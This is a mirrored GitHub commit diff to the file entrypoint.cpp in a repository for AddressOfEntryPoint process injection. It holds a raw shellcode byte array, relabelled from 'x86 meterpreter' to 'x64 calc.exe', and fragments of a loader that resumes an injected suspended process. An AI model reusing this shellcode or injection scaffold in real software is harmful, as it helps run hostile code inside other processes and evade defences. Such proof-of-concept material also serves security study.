mirror of
https://github.com/timwhitez/AddressOfEntryPoint-injection
synced 2026-06-08 17:50:22 +00:00
Update entrypoint.cpp
This commit is contained in:
+2
-2
@@ -7,7 +7,7 @@ using namespace std;
|
||||
|
||||
int main()
|
||||
{
|
||||
//x86 meterpreter
|
||||
//x64 calc.exe
|
||||
unsigned char shellcode[] ="\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x59\x50\x40\x92\x74\x15\x51\x64\x8b\x72\x2f\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\xb2\x50\xeb\x1a\xb2\x60\x48\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7";
|
||||
|
||||
STARTUPINFOA si;
|
||||
@@ -46,4 +46,4 @@ int main()
|
||||
ResumeThread(pi.hThread);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user